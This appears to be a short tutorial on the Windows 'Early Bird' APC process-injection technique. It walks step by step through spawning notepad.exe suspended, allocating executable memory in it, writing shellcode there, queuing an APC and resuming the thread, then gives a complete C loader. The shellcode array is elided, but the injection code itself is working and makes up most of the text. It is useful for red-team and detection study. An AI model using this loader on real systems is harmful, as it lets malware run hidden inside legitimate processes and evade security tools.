This technique spawn a new process with CreateProcessA
an inject into it using APC. Similar to APC Injection but we don’t need to wait till the payload is executed.
The new child process is created on a suspended mode. Our shellcode is executed without setting the thread into a Alertable state due to when the process is created the system calls the function ZwTestAlert
that will trigger the APC call.
CreateProcessA()
Open a remote process handle.VirtualAllocEx
Allocate memory buffer in the remote process to store shellcode.WriteProcessMemory()
Write shellcode in remote memory bufferQueueUserAPC()
Execute shellcode in remote proccess by scheduling APC object in the threads APC queue.ResumeThread()
Resume the main thread in the remote process in order to get the payload executed.
Analysis
First we need to create a child process on a suspended state.
CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
As we can see a notepad.exe
with pid=7356
has spawned on a suspended state.
A memory buffer should be created with VirtuallAllocEx
on the notepad.exe
process.
pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READ);
Next step is copy our payload on the buffer.
WriteProcessMemory(pi.hProcess, pRemoteCode, payload, sizeof(payload), NULL);
Finally we just need to queue the main thread and resume it to get the payload executed.
QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);
ResumeThread(pi.hThread);
Code
Example of Early Bird Injection:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
HANDLE hProc;
void * pRemoteCode;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char payload[] = {0xfc, 0x48,...};
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
if(CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi)){
printf("[+] Notepad created: pid -> %d\n", pi.dwProcessId);
getchar();
pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READ);
printf("pRemoteCode -> 0x%p\n", pRemoteCode);
getchar();
WriteProcessMemory(pi.hProcess, pRemoteCode, payload, sizeof(payload), NULL);
printf("[+] Payload copied to the buffer\n");
getchar();
QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);
printf("[+] Thread queued\n");
getchar();
ResumeThread(pi.hThread);
printf("[+] Thread resumed\n");
}
return 0;
}